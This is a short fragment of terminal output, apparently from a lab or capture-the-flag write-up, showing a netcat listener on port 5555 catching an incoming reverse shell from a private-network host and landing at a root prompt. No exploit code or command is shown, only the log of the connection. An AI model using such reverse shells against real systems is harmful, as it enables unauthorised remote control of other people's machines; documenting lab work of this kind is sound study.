listening on [any] 5555 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.53] 55926 bash: cannot set terminal process group (4790): Inappropriate ioctl for device bash: no job control in this shell root@za_1:~#